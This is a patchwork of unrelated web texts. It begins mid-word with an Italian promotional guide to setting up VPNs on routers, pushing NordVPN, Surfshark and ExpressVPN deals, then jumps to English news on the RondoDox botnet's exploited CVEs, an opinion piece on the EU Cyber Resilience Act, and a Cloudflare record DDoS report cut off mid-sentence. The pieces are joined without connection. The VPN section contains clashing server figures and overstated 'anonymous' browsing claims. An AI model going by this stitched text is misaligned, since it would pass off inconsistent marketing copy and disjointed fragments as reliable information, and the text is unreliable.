elevate, con processori in grado di gestire la crittografia senza rallentare la connessione. Per esempio, NordVPN propone una linea di router compatibili con il protocollo NordLynx, basato su WireGuard, che assicura connessioni rapide e stabili. Surfshark offre supporto nativo a OpenVPN e WireGuard, mentre ExpressVPN fornisce router dotati del proprio firmware Lightway, sviluppato per connettersi quasi istantaneamente e mantenere una velocità costante. In tutti i casi, questi router permettono di collegare più dispositivi contemporaneamente, superando i limiti delle app tradizionali e garantendo protezione continua per tutta la rete domestica o aziendale. Quando il router in uso non dispone del supporto VPN integrato, è possibile installare un firmware di terze parti per aggiungere manualmente questa funzionalità. Le opzioni più diffuse sono DD-WRT e Tomato, due sistemi open source che sostituiscono il software originale del router e ne ampliano le capacità. Entrambi permettono di configurare protocolli VPN come OpenVPN e WireGuard, offrendo un controllo più approfondito su crittografia, gestione del traffico e priorità di connessione. DD-WRT è particolarmente apprezzato per la compatibilità con un’ampia gamma di modelli e per la sua stabilità, mentre Tomato è più intuitivo e adatto a chi desidera un’interfaccia semplice e chiara. Tuttavia, l’installazione di un firmware alternativo richiede cautela: è necessario verificare che il router sia compatibile e seguire scrupolosamente le istruzioni del produttore, poiché un errore nella procedura può compromettere il funzionamento del dispositivo. Una volta configurato correttamente, il router diventa un vero e proprio hub di sicurezza, capace di gestire connessioni VPN multiple e di mantenere prestazioni elevate. Configurare manualmente una VPN su un router può sembrare complesso, ma seguendo un processo chiaro è possibile completare l’installazione in pochi minuti. La procedura varia leggermente a seconda del provider VPN e del modello di router, ma i principi di base restano gli stessi: accedere al pannello di controllo, importare i file di configurazione, inserire le credenziali e verificare la connessione. Il primo passo consiste nell’accedere all’interfaccia di gestione del router tramite browser, digitando l’indirizzo IP del dispositivo – solitamente 192.168.0.1 o 192.168.1.1 – e autenticandosi con le credenziali amministrative. È consigliabile verificare che il router disponga dell’ultima versione del firmware, poiché gli aggiornamenti possono introdurre nuove opzioni per la configurazione VPN o migliorare la stabilità della connessione. A questo punto, bisogna individuare la sezione dedicata alla VPN o alla connessione avanzata, dove sarà possibile importare le impostazioni del provider. Dopo aver effettuato l’accesso al pannello, occorre recuperare i file di configurazione forniti dal servizio VPN scelto. Questi file contengono le informazioni necessarie per stabilire la connessione, come gli indirizzi dei server, le chiavi di crittografia e i parametri di sicurezza. La maggior parte dei provider, tra cui NordVPN, Surfshark ed ExpressVPN, mette a disposizione un’area dedicata nel proprio sito da cui scaricare i file .ovpn per OpenVPN o i file .conf per WireGuard. Alcuni servizi consentono anche di generare automaticamente configurazioni personalizzate, selezionando il server e il protocollo preferiti. Una volta scaricati, i file vanno conservati sul computer da cui si effettuerà la configurazione del router. A questo punto è necessario tornare al pannello di controllo del router e caricare i file di configurazione precedentemente scaricati. Il router importerà automaticamente le impostazioni relative al server, alla porta di connessione e al tipo di protocollo. In seguito, bisognerà inserire manualmente le credenziali del proprio account VPN, generalmente il nome utente e la password associati al servizio. Alcuni modelli permettono anche di attivare opzioni aggiuntive, come la connessione automatica all’avvio o la selezione di un server alternativo in caso di disconnessione. Una volta salvate le impostazioni, il router avvierà la connessione alla VPN e instraderà tutto il traffico della rete attraverso il tunnel cifrato. Dopo la configurazione è importante verificare che la VPN sia effettivamente attiva. Per farlo, basta collegarsi a Internet da un qualsiasi dispositivo connesso al router e visitare un sito che mostri l’indirizzo IP, come whatismyip.com. Se l’indirizzo visualizzato corrisponde a quello del server VPN e non a quello del provider Internet, la configurazione è avvenuta con successo. Alcuni router visualizzano anche lo stato della connessione VPN direttamente nella loro interfaccia, indicando se il tunnel è attivo o interrotto. In caso di problemi di connessione o cali di velocità, si possono testare diversi server o protocolli, poiché le prestazioni possono variare a seconda della distanza geografica e del carico dei nodi. Una volta completata la verifica, la rete sarà interamente protetta e ogni dispositivo collegato potrà navigare in modo sicuro e anonimo, senza necessità di ulteriori configurazioni individuali. Ogni provider VPN ha un proprio metodo per l’installazione su router che varia in base ai protocolli supportati, alla compatibilità del dispositivo e al tipo di firmware utilizzato. Sebbene il principio di base sia sempre lo stesso – proteggere tutta la rete instradando il traffico attraverso un tunnel criptato – le procedure e le funzionalità offerte possono essere diverse. NordVPN, Surfshark ed ExpressVPN sono tra i servizi che offrono la configurazione più intuitiva e documentata, con guide dettagliate e supporto tecnico dedicato per ogni modello di router compatibile. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% NordVPN offre una delle configurazioni più complete e flessibili, compatibile con un’ampia gamma di router come Asus, Netgear, TP-Link e quelli basati su firmware DD-WRT o AsusWRT. La configurazione standard avviene tramite il protocollo OpenVPN, che garantisce un equilibrio ottimale tra sicurezza e velocità, ma negli ultimi anni il provider ha introdotto anche il supporto a WireGuard tramite la sua versione ottimizzata, NordLynx, disponibile su alcuni router di nuova generazione. Per configurare NordVPN, è necessario accedere al pannello di controllo del router, importare i file di configurazione forniti dal sito ufficiale e inserire le credenziali del proprio account. La piattaforma offre anche guide passo passo per ogni marca di router, semplificando la procedura anche agli utenti meno esperti. Una volta completata l’installazione, la connessione sarà protetta automaticamente per tutti i dispositivi collegati alla rete. NordVPN permette inoltre di scegliere server specializzati, come quelli dedicati al traffico P2P o al doppio instradamento (Double VPN), che aumentano il livello di anonimato. Il piano NordVPN Base garantisce una VPN sicura e veloce, progettata per proteggere la connessione e mantenere privata la navigazione. È la scelta ideale per chi desidera una protezione essenziale della rete, senza funzionalità aggiuntive. Anche questa versione prevede una garanzia di rimborso entro 30 giorni. Il piano NordVPN Plus, il più richiesto, offre un livello di sicurezza superiore. Oltre alla VPN, integra un sistema anti-malware e di protezione durante la navigazione, un blocco automatico di pubblicità e tracker e un password manager con scanner di violazioni, che segnala eventuali fughe di dati personali. Il piano NordVPN Ultimate rappresenta l’opzione più completa. Include tutte le funzioni del Plus e aggiunge uno spazio cloud crittografato da 1 terabyte per l’archiviazione sicura dei file, oltre a un’assicurazione cyber con copertura fino a 5.000 euro per il rimborso dei danni derivanti da truffe informatiche o furti d’identità. L’offerta di NordVPN Black Friday attiva fino al 10 dicembre 2025 si basa sulla fornitura di un servizio di VPN (Virtual Private Network), che mira a garantire sicurezza e privacy online, unita a funzionalità avanzate che migliorano l’esperienza di navigazione. Le funzionalità che rendono NordVPN un servizio di sicurezza completo sono: Crittografia di nuova generazione: - Utilizza la crittografia avanzata AES-256, lo standard più sicuro. - Crea un “tunnel” crittografato per i dati, proteggendoli da occhi indiscreti, specialmente quando usiamo reti Wi-Fi pubbliche non sicure. Rigida politica di No-Log: - NordVPN non raccoglie né memorizza le attività online (larghezza di banda utilizzata, log di traffico, indirizzi IP, dati di navigazione). Questo assicura che le nostre attività rimangano private e non possano essere condivise. Configurazione VPN facile: - Permette di connettersi a un server VPN con pochi click. - Un algoritmo basato sull’AI sceglie automaticamente il server migliore e più veloce, in base alle condizioni della nostra rete. Copertura globale e velocità: - Offre una vasta rete di oltre 8.400 server in 165 località - Garantisce velocità sorprendenti e larghezza di banda illimitata (nessun rallentamento o interruzione). Oltre alla VPN di base, l’offerta include strumenti avanzati per una protezione totale: Threat Protection Pro™ (anti-malware integrato): - Uno strumento di sicurezza integrato nell’app NordVPN. - Funziona anche quando la VPN è disattivata. - Protegge da download pericolosi, siti di phishing, pubblicità invadenti e tracker online. Avvisi sulle credenziali trapelate (Dark Web Monitor): - Scansiona automaticamente il dark web alla ricerca di eventuali fughe di dati personali. - Ti invia una notifica immediata se le tue credenziali sono state compromesse. Streaming più sicuro: - Consente di guardare contenuti in streaming senza limiti di larghezza di banda o velocità su tutti i dispositivi. - Inoltre, ci aiuta a mantenere l’accesso ai contenuti e ai siti che usiamo abitualmente anche quando siamo all’estero. Copertura multi-dispositivo: - Un singolo account copre fino a 10 dispositivi contemporaneamente. - Compatibile con tutti i principali sistemi operativi e browser. - Possibilità di installazione sul router per proteggere l’intera rete domestica. Kill Switch: - Una funzionalità di sicurezza che disattiva l’accesso a internet se la connessione VPN dovesse cadere, prevenendo la fuga accidentale del nostro indirizzo IP reale e dei tuoi dati. L’offerta attuale è focalizzata sul Black Friday e include: Sconto esclusivo Black Friday: 74% di sconto sul piano più 3 mesi extra di servizio. Garanzia di Rimborso di 30 Giorni: permette di provare il servizio senza rischi. E’ possibile aggiungere due servizi all’ abbonamento VPN: NordPass gestore di password: permette di generare e archiviare password complesse in modo sicuro, sincronizzandole e inserendole automaticamente. NordLocker , archiviazione Cloud cifrata: offre uno spazio cloud per archiviare documenti, foto e file con crittografia end-to-end, garantendone il backup e la sicurezza. Questa tabella compara i prezzi per i tre piani in base alle diverse durate, evidenziando l’offerta iniziale più vantaggiosa (quella da 2 anni, più 3 mesi extra, che corrisponde a 27 mesi totali). 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 Surfshark è compatibile con la maggior parte dei router che supportano i protocolli OpenVPN o WireGuard, e offre un’interfaccia di configurazione semplice anche su firmware come DD-WRT, AsusWRT e OpenWRT. Per installarla, basta scaricare i file di configurazione dal proprio account Surfshark, scegliere il server desiderato e caricare le impostazioni nel pannello di controllo del router. La piattaforma consente di utilizzare un numero illimitato di dispositivi connessi contemporaneamente, e questa caratteristica diventa particolarmente vantaggiosa quando la VPN è installata direttamente sul router, poiché tutti i dispositivi della rete beneficiano della stessa protezione senza restrizioni. Surfshark offre inoltre la possibilità di configurare DNS personalizzati e di attivare funzioni avanzate come il CleanWeb, un sistema integrato che blocca pubblicità, tracker e siti malevoli a livello di rete. Una volta completata la configurazione, la connessione VPN si attiverà automaticamente a ogni riavvio del router, garantendo una protezione costante e senza interventi manuali. Il piano Starter comprende la VPN di Surfshark, progettata per garantire una navigazione sicura e privata, insieme all’Alternative ID, una funzione che genera indirizzi email alternativi per proteggere l’identità digitale e ridurre lo spam. A questi si aggiungono l’antivirus, un sistema di alert che segnala eventuali violazioni di dati, il motore di ricerca privato Search e il servizio Incogni, che consente la rimozione automatica dei dati personali dai database pubblici. Il piano Surfshark One offre le stesse caratteristiche del pacchetto Starter ma con un livello di servizio più avanzato, che assicura prestazioni potenziate e aggiornamenti costanti, in particolare nella protezione in tempo reale contro malware e minacce informatiche. La versione Surfshark One+ rappresenta l’offerta premium della gamma. Oltre a tutte le funzioni già incluse, prevede strumenti avanzati per la gestione e la tutela dell’identità digitale, una copertura più ampia per la rimozione dei dati personali online e un’assistenza dedicata in caso di violazioni o furti di dati. Inoltre Surfshark offre: VPN rapida e sicura: crittografa la connessione internet per navigare in modo anonimo e sicuro. - Oltre 3200 server basati su sola RAM in 100 paesi (migliore velocità e privacy). - Dispositivi Illimitati: si possono connettere tutti i dispositivi che si vogliono con unico account. Alternative ID (Alt ID): permette di generare un’e-mail mascherata per iscriversi ai servizi online, evitando che la nostra email reale venga esposta e riempiendosi di spam. CleanWeb: funzionalità che blocca annunci, tracker e pop-up per il consenso dei cookie durante la navigazione. L’offerta principale è sul piano a 24 mesi che include 3 mesi extra gratuiti ed è quella che offre il maggiore risparmio. Questa opzione offre il massimo risparmio e la tariffa mensile più bassa. La durata totale dell’abbonamento è di 27 mesi. Questa opzione offre una durata minore ma include comunque i 3 mesi extra gratuiti. La durata totale dell’abbonamento è di 15 mesi. Questa è l’opzione più flessibile, ma anche la più costosa, in quanto non include sconti per l’impegno a lungo termine. Il pagamento è fatturato mensilmente. Ecco un confronto sulle funzionalità incluse nei tre piani, indipendentemente dalla durata dell’abbonamento scelta: 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN adotta un approccio diverso rispetto ai competitor, offrendo un proprio firmware dedicato, progettato per semplificare la gestione della VPN a livello di rete. Questo firmware può essere installato su vari modelli compatibili di Linksys, Netgear e Asus, e trasforma il router in un dispositivo completamente integrato con la piattaforma ExpressVPN. L’interfaccia utente è molto intuitiva e permette di cambiare server, attivare o disattivare la connessione e gestire lo split tunneling direttamente dal pannello del router, senza bisogno di passare dal computer. Oltre a questa opzione, ExpressVPN ha sviluppato Aircove, un router progettato interamente in-house, già predisposto per la connessione sicura e compatibile con il protocollo Lightway, che garantisce connessioni quasi istantanee e stabili anche in caso di passaggio tra reti Wi-Fi e 5G. Aircove rappresenta la soluzione ideale per chi desidera un dispositivo plug-and-play, in grado di offrire protezione immediata su tutta la rete domestica con la garanzia delle prestazioni tipiche di ExpressVPN. L’offerta si articola su tre livelli di abbonamento — Base, Avanzato e Pro — disponibili con formula mensile, annuale o biennale. Quest’ultima include 4 mesi aggiuntivi gratuiti e rappresenta la scelta più conveniente nel lungo periodo. Tutti i piani comprendono una VPN veloce e sicura, accompagnata da una garanzia di rimborso entro 30 giorni, pensata per chi desidera proteggere i propri dati, navigare in modo privato e accedere liberamente ai contenuti globali. Il piano Base è la soluzione più semplice ed economica. Con un costo di 3,49 dollari al mese per 28 mesi, pari a 97,72 dollari complessivi, consente di collegare fino a 10 dispositivi simultaneamente e offre una protezione “Lite” che blocca siti pericolosi e pubblicità di base. È l’opzione ideale per chi desidera una VPN affidabile senza funzioni avanzate. Il piano Avanzato, il più scelto dagli utenti, propone un equilibrio ottimale tra prezzo e prestazioni. Al costo di 4,49 dollari al mese (pari a 125,72 dollari per 28 mesi), aggiunge una protezione più estesa contro tracker e contenuti indesiderati, un gestore di password integrato, 3 giorni di eSIM illimitata e fino a 12 connessioni contemporanee. Inoltre, include uno sconto del 50% sul router Aircove, progettato per integrarsi con la VPN. È la soluzione consigliata per chi utilizza spesso Internet per lavoro o viaggi e cerca una protezione costante su più dispositivi. Il piano Pro è pensato per chi desidera il massimo livello di sicurezza, flessibilità e personalizzazione. Costa 7,49 dollari al mese, per un totale di 209,72 dollari nei 28 mesi, e comprende tutte le funzioni del piano Avanzato, con in più 14 connessioni simultanee, 5 giorni di eSIM illimitata, uno sconto del 75% su Aircove e un indirizzo IP dedicato, ideale per professionisti, gamer o aziende che necessitano di un’identità di rete stabile e sicura. Le versioni annuali e mensili mantengono la stessa struttura di servizi, ma presentano prezzi più elevati rispetto all’opzione biennale, che resta la più vantaggiosa in termini di risparmio complessivo. Molti servizi VPN prevedono un limite massimo di dispositivi che possono essere connessi contemporaneamente sotto un unico abbonamento. Installando la VPN direttamente sul router, questo vincolo viene superato, poiché per il provider tutta la rete domestica o aziendale risulta come un solo dispositivo connesso. In pratica, è possibile proteggere senza limiti computer, tablet, smartphone e dispositivi smart con un’unica configurazione. Questo è un vantaggio notevole per le famiglie numerose o per chi gestisce più dispositivi connessi nello stesso momento, poiché consente di sfruttare al massimo l’abbonamento senza dover acquistare piani aggiuntivi. Nonostante i vantaggi evidenti, l’installazione di una VPN sul router presenta anche alcuni limiti da considerare. Dal punto di vista tecnico, la configurazione iniziale può essere più complessa rispetto all’uso di un’app su singolo dispositivo e richiede un router compatibile. Inoltre, una volta attiva, la VPN copre indistintamente tutti i dispositivi connessi: questo significa che non è possibile escluderne uno senza disattivare la connessione protetta per tutti. Un altro aspetto da tenere presente è che il traffico VPN richiede un certo carico di elaborazione e, su router meno potenti, può comportare un leggero calo di velocità. Tuttavia, con modelli recenti e server VPN di alta qualità, questa differenza è spesso impercettibile. Per molti utenti, i benefici in termini di sicurezza e praticità superano ampiamente questi piccoli compromessi. Non tutti i router sono in grado di gestire una connessione VPN nativa ed è fondamentale verificarne la compatibilità prima di procedere con l’installazione. I modelli più recenti e di fascia medio-alta supportano protocolli come OpenVPN, WireGuard o L2TP/IPSec, che permettono una configurazione stabile e sicura. Alcuni marchi, come Asus, Netgear o TP-Link, integrano già il supporto VPN nel firmware, consentendo una configurazione diretta tramite l’interfaccia web del dispositivo. In altri casi, potrebbe essere necessario installare un firmware alternativo, come DD-WRT o AsusWRT-Merlin, che aggiunge funzioni avanzate di rete e sicurezza. È sempre consigliabile consultare la scheda tecnica del router o il sito del produttore per accertarsi che siano supportati i protocolli desiderati. In alternativa, alcuni provider VPN offrono router preconfigurati con la propria rete, una soluzione ideale per chi preferisce evitare procedure tecniche e ottenere una connessione sicura e pronta all’uso su tutta la rete domestica. Una volta installata la VPN sul router, è possibile accedere a funzioni avanzate che permettono di personalizzare ulteriormente l’esperienza di navigazione. Tra queste, lo split tunneling e la possibilità di scegliere server dedicati rappresentano due strumenti fondamentali per ottimizzare velocità, sicurezza e gestione del traffico di rete. Queste funzioni sono particolarmente utili per chi utilizza la VPN sia per scopi professionali che personali e desidera mantenere un equilibrio tra privacy e prestazioni. Lo split tunneling consente di decidere quali dispositivi o applicazioni devono utilizzare la connessione VPN e quali, invece, devono collegarsi direttamente a Internet. Questa funzione è utile in contesti in cui non tutte le attività richiedono crittografia o cambio di IP. Per esempio, si può impostare che la VPN protegga solo i dispositivi aziendali o i servizi di streaming esteri, lasciando invece che il traffico locale, come stampanti o smart home, utilizzi la connessione standard per evitare rallentamenti. Sul router, lo split tunneling si configura facilmente tramite l’interfaccia del firmware, che consente di selezionare manualmente i dispositivi da includere o escludere. ExpressVPN e NordVPN integrano questa opzione in modo nativo, mentre Surfshark la offre tramite impostazioni avanzate. Utilizzare lo split tunneling permette di ottimizzare la banda, mantenendo la velocità della rete domestica e garantendo al tempo stesso la sicurezza per le connessioni più sensibili. La scelta del server VPN è uno degli elementi che più influiscono sulle prestazioni della connessione. In generale, più il server è vicino alla propria posizione geografica, minore sarà la latenza e maggiore la velocità di navigazione. Tuttavia, molti provider offrono anche server ottimizzati per specifici usi: streaming, torrent, gaming o attività professionali che richiedono connessioni stabili e crittografate. NordVPN, ad esempio, consente di selezionare server specializzati per P2P o per una maggiore privacy con il doppio instradamento, mentre ExpressVPN e Surfshark utilizzano un sistema automatico che collega l’utente al nodo più veloce disponibile in base al carico di rete e alla distanza. In alcuni casi, è possibile testare la velocità dei server direttamente dal pannello di controllo o tramite strumenti integrati, verificando ping, jitter e banda disponibile. Scegliere un server ottimale consente di mantenere prestazioni elevate anche con la VPN attiva, assicurando un equilibrio tra sicurezza, rapidità e affidabilità della connessione su tutti i dispositivi collegati al router.

Malware campaigns distributing the RondoDox botnet have expanded their targeting focus to exploit more than 50 vulnerabilities across over 30 vendors. The activity, described as akin to an "exploit shotgun" approach, has singled out a wide range of internet-exposed infrastructure, including routers, digital video recorders (DVRs), network video recorders (NVRs), CCTV systems, web servers, and various other network devices, according to Trend Micro. The cybersecurity company said it detected a RondoDox intrusion attempt on June 15, 2025, when the attackers exploited CVE-2023-1389, a security flaw in TP-Link Archer routers that has come under active exploitation repeatedly since it was first disclosed in late 2022. RondoDox was first documented by Fortinet FortiGuard Labs back in July 2025, detailing attacks aimed at TBK digital video recorders (DVRs) and Four-Faith routers to enlist them in a botnet for carrying out distributed denial-of-service (DDoS) attacks against specific targets using HTTP, UDP, and TCP protocols. "More recently, RondoDox broadened its distribution by using a 'loader-as-a-service' infrastructure that co-packages RondoDox with Mirai/Morte payloads – making detection and remediation more urgent," Trend Micro said. RondoDox's expanded arsenal of exploits includes nearly five dozen security flaws, out of which 18 don't have a CVE identifier assigned. The 56 vulnerabilities span various vendors such as D-Link, TVT, LILIN, Fiberhome, Linksys, BYTEVALUE, ASMAX, Brickcom, IQrouter, Ricon, Nexxt, NETGEAR, Apache, TBK, TOTOLINK, Meteobridge, Digiever, Edimax, QNAP, GNU, Dasan, Tenda, LB-LINK, AVTECH, Zyxel, Hytec Inter, Belkin, Billion, and Cisco. "The latest RondoDox botnet campaign represents a significant evolution in automated network exploitation," the company added. "It's a clear signal that the campaign is evolving beyond single-device opportunism into a multivector loader operation." Late last month, CloudSEK revealed details of a large-scale loader-as-a-service botnet distributing RondoDox, Mirai, and Morte payloads through SOHO routers, Internet of Things (IoT) devices, and enterprise apps by weaponizing weak credentials, unsanitized inputs, and old CVEs. The development comes as security journalist Brian Krebs noted that the DDoS botnet known as AISURU is "drawing a majority of its firepower" from compromised IoT devices hosted on U.S. internet providers like AT&T, Comcast, and Verizon. One of the botnet's operators, Forky, is alleged to be based in Sao Paulo, Brazil, and is also linked to a DDoS mitigation service called Botshield. In recent months, AISURU has emerged as one of the largest and most disruptive botnets, responsible for some of the record-setting DDoS attacks seen to date. Built on the foundations of Mirai, the botnet controls an estimated 300,000 compromised hosts worldwide. The findings also follow the discovery of a coordinated botnet operation involving over 100,000 unique IP addresses from no less than 100 countries targeting Remote Desktop Protocol (RDP) services in the U.S., per GreyNoise. The activity is said to have commenced on October 8, 2025, with the majority of the traffic originating from Brazil, Argentina, Iran, China, Mexico, Russia, South Africa, Ecuador, and others. "The campaign employs two specific attack vectors – RD Web Access timing attacks and RDP web client login enumeration – with most participating IPs sharing one similar TCP fingerprint, indicating centralized control," the threat intelligence firm said.

A new large-scale botnet called RondoDox is targeting 56 vulnerabilities in more than 30 distinct devices, including flaws first disclosed during Pwn2Own hacking competitions. The attacker focuses on a wide range of exposed devices, including DVRs, NVRs, CCTV systems, and web servers and have been active since June. The RondoDox botnet leverages what Trend Micro researchers call an “exploit shotgun” strategy, where numerous exploits are used simultaneously to maximize the infections, even if the activity is very noisy. Since FortiGuard Labs discovered RondoDox, the botnet appears to have expanded the list of exploited vulnerabilities, which included CVE-2024-3721 and CVE-2024-12856. Mass n-day exploitation In a report today, Trend Micro says that RondoDox exploits CVE-2023-1389, a flaw in the TP-Link Archer AX21 Wi-Fi router that was originally demonstrated at Pwn2Own Toronto 2022. Pwn2Own is a hacking competition organized twice a year by Trend Micro's Zero Day Initiative (ZDI), where white-hat teams demonstrate exploits for zero-day vulnerabilities in widely used products. The security researchers note that the botnet developer pay close attention to exploits demonstrated during Pwn2Own events, and move quickly to weaponize them, as Mirai did with CVE-2023-1389 in 2023. Below is a list of post-2023 n-day flaws RondoDox includes in its arsenal: Digiever – CVE-2023-52163 QNAP – CVE-2023-47565 LB-LINK – CVE-2023-26801 TRENDnet – CVE-2023-51833 D-Link – CVE-2024-10914 TBK – CVE-2024-3721 Four-Faith – CVE-2024-12856 Netgear – CVE-2024-12847 AVTECH – CVE-2024-7029 TOTOLINK – CVE-2024-1781 Tenda – CVE-2025-7414 TOTOLINK – CVE-2025-1829 Meteobridge – CVE-2025-4008 Edimax – CVE-2025-22905 Linksys – CVE-2025-34037 TOTOLINK – CVE-2025-5504 TP-Link – CVE-2023-1389 Older flaws, especially in devices that reached end of life, are a significant risk as they are more likely to remain unpatched. More recent ones in supported hardware are equally dangerous since many users tend to ignore firmware updates after setting up the devices. Trend Micro also found that RondoDox incorporates exploits for 18 command injection flaws that have not been assigned a vulnerability ID (CVE). They impact D-Link NAS units, TVT and LILIN DVRs, Fiberhome, ASMAX, and Linksys routers, Brickcom cameras, and other unidentified endpoints. To protect against RondoDox and other botnet attacks, apply the latest available firmware updates for your device and replace EoL equipment. It is also recommended to segment your network to isolate critical data from internet-facing IoTs, or from guest connections, and replace default credentials with secure passwords. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

OPINION There has been considerable worry about the impact of the European Union's Cyber Resilience Act on open source programmers. Linux stable kernel maintainer Greg Kroah-Hartman says, however, that there won't be much of an impact at all. The Linux Foundation has to abide by these rules. Mozilla has to abide by these rules. Me and Linus, as individuals working for them, don't have to abide by the rules... When the news of the EU's Cyber Resilience Act (CRA) first emerged, open source software developers and companies were worried sick. As the Python Software Foundation (PSF) executive director Deb Nicholson said at the time, "Under the current language, the PSF could potentially be financially liable for any product that includes Python code, while never having received any monetary gain from any of these products." Ouch! Since then, however, the EU has made the CRA more open source friendly. How friendly? Well, according to Greg Kroah-Hartman, a top Linux kernel maintainer and member of the CRA working group of experts, "for open source contributors and maintainers, … [the] CRA is a good thing. I think it's gonna help us. Speaking in Paris at the Linux Kernel Recipes conference, Kroah-Hartman started by saying, "You never expect to be dealing with lawyers and things like that when you start out programming. But here I am. This is all my personal opinion." But, he believes, the CRA has become "something that's actually palatable and can be used" for open source's benefit. Kroah-Hartman explained that the CRA introduces a legal requirement for producers of products with digital elements (PDE). This is a broad category that includes nearly all software-driven devices and programs to document, secure, and maintain their software supply chain. This means companies must now generate a Software Bill of Materials (SBOM), tracking vulnerabilities, responding to newly discovered issues, and being transparent about security practices. For open source developers, this means, for the first time, companies must publicly acknowledge and document their open source dependencies. That's a win in Kroah-Hartman's book. A fundamental distinction in the revised CRA's approach is how it separates unpaid, hobbyist developers from legal "people" such as foundations, projects, and companies that commercialize open source software. Specifically, non-commercial open source developers can continue publishing software with minimal worry. As long as a project is not organized as a legal or commercial entity, the CRA requires only a basic "readme" with a security contact. There is no legal risk for individual contributors simply sharing code online or in publications, even when they receive payment for writing an article, as long as the software itself is not monetized or organized. That readme must say "who to email for security issues and report security issues" to a security monitoring organization. That's it. That's all. "So don't be afraid of the CRA. These are things you should be doing anyway." Project stewards, such as legal persons, are another matter. They must provide a security contact and a reporting process. If the organization receives or distributes funding or donations, it falls into this category and must follow the stewardship requirements. "So, he continued, "the Linux Foundation has to abide by these rules. Mozilla has to abide by these rules. Me and Linus, as individuals working for them, don't have to abide by the rules." As far as Kroah-Hartman's concerned, "this is a reasonable baseline most responsible projects already meet." What are these rules? Well, the CRA's focus is on commercial manufacturers and distributors. That means businesses that integrate open source code into EU products must fully comply with documentation, incident response, and lifecycle management requirements. This includes publishing Software Bills Of Materials (SBOMs), patching vulnerabilities within regulated timeframes, and responding proactively to security incident reports. For the purposes of the CRA, consulting operations monetizing open source work could be considered manufacturers, triggering compliance obligations. Independent consultants or tiny firms may need to form a legal entity, but the workload is "not huge if you're already following good development practice," according to Kroah-Hartman. The regulations are much more stringent for hardware or device vendors using open source code in their products than for pure software consultancies. For decades, hardware vendors have been using open source code without obeying the open source licensing rules, such as Vizio using Linux in its smart TV. Under the CRA, they'll find it much harder to get away with this or deny they're breaching open source software terms in their products, as Cisco did in 2008 with its Linksys routers. (It ultimately settled the case, appointed a free software director, made source code for products available on its website, and made a donation to the FSF.) You may think that since the CRA is an EU law, it won't matter to countries outside the EU. You would be wrong. The CRA effectively extends worldwide. If software is accessible "on the market" in the EU, it falls under the law's scope. Thus, US and Japanese vendors, for example, must pay careful attention to compliance if their products are downloadable or operable from within the EU. Manufacturers are going to care in September of next year. They're going to start panicking in the summer of next year, and things are going to start hitting the fan... For example, manufacturers must act on vulnerabilities, even if the upstream maintainer does not fix the issue. Manufacturers selecting open source code for their products must understand the code, support it, and respond to regulatory reporting requirements. This may, Kroah-Hartman observed, increase pressure on companies to use actively supported open source projects or stick closer to mainstream, well-resourced communities." Will this make companies more wary of using open source software? Kroah-Hartman thinks it will have the opposite effect. The CRA also covers proprietary software. Instead of these new requirements creating a "chilling effect" on open source releases by nervous companies or legal departments, he thinks it will actually increase demand for open source, since companies gain more control over code destiny than with closed source vendors. Businesses that are already using open source code in their programs still haven't realized just what a big deal the CRA will be for them. They will soon enough. Kroah-Hartman predicts, "Companies are coming after you [open source developers]. I will create a little form letter and say, 'Here's what you need to send off.' "It's going to get worse because it's coming soon for companies. Manufacturers are going to care in September of next year. They're going to start panicking in the summer of next year, and things are going to start hitting the fan." They'll want developers to shoulder the burden the CRA will place on them. But you don't have to do that. It's their problem, not yours as a programmer. Of course, developers are encouraged to adopt best practices - eg, secure reporting, clear SBOMs, supply-chain checks - now. Foundations and large community projects are working with the EU to produce checklists and templates to simplify compliance. Kroah-Hartman reports that much of the ambiguity around commercial versus non-commercial obligations will be clarified in the coming year, with accessible implementation resources for projects. In a Q&A session afterwards, Kroah-Hartman struck a hopeful note, "The goal here and the intent is not to trip up anybody in this room. The goal and intent are also to hold big companies liable when they release open source software, as part of that, because they want it not to be an end run around the CRA. "Therefore, merging those two things together created a really wiggly line in the middle. But they are on our side. I've spoken with representatives from the different countries that created this law. They understand open source. They understand how the world runs in open source. They don't want to see it harmed by this at all. So have faith in that." ®

Cloudflare has mitigated a distributed denial-of-service (DDoS) attack that peaked at a record-breaking 22.2 terabits per second (Tbps) and 10.6 billion packets per second (Bpps). DDoS attacks typically exhaust either system or network resources, aiming to make services slow or unavailable to legitimate users. Record-breaking DDoS attacks are becoming more frequent, as just three weeks ago, Cloudflare disclosed that it mitigated a massive 11.5 Tbps and 5.1 Bpps attack, the largest publicly announced at the time. Two months before that, the company dealt with another ecord attack that peaked at 7.3 Tbps. In April, the internet giant warned that it was dealing with a record number of DDoS attacks this year. The latest DDoS incident, also volumentric, lasted 40 seconds and is by far the largest ever mitigated. Despite the short assault period, the volume of traffic directed at the victim was enormous, roughly equivalent to streaming one million 4K videos simultaneously. The packet rate of 10.6 Bpps can be translated to roughly 1.3 web page refreshes per second from every person on the planet. The large volume of packets makes it particularly difficult for firewalls, routers, and load balancers to process the requests, even if the total bandwidth is manageable. Although Cloudflare has not shared many details about the last two DDoS attacks, XLab research division at Chinese cybersecurity company Qi'anxin attributed an 11.5 Tb DDoS attack to the AISURU botnet. According to the researchers, AISURU has infected more than 300,000 devices worldwide, with a sudden increase occuring in April 2025 after the compromise of a Totolink router firmware update server. The botnet also targets vulnerabilities in 